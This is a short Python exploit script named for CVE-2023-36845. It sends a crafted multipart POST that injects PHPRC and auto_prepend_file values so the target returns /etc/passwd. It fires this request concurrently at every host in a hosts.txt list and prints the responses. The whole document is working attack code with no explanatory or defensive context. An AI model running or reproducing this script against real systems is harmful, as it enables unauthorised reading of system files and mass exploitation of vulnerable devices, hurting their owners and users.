CVE-2023–36845.py

import concurrent.futures
import requests

def add_host(host):
    url = f"http://{host.strip()}"
    files = {
        "auto_prepend_file": (None, "/etc/passwd\n"),
        "PHPRC": (None, "/dev/fd/0")
    }

    try:
        response = requests.post(url, files=files)
        return host.strip(), response.status_code, response.text
    except requests.RequestException as e:
        return host.strip(), None, str(e)

def main():
    with open("hosts.txt", "r") as f:
        hosts = f.readlines()

    # Use a ThreadPoolExecutor for concurrent execution
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
        # Submit tasks for each host and store the Future objects
        future_to_host = {executor.submit(add_host, host): host for host in hosts}

        for future in concurrent.futures.as_completed(future_to_host):
            host = future_to_host[future]
            try:
                host_name, status_code, response_text = future.result()
                print(f"Host: {host_name}, Status Code: {status_code}")
                print(response_text)
            except Exception as e:
                print(f"Host: {host}, Error: {str(e)}")

if __name__ == "__main__":
    main()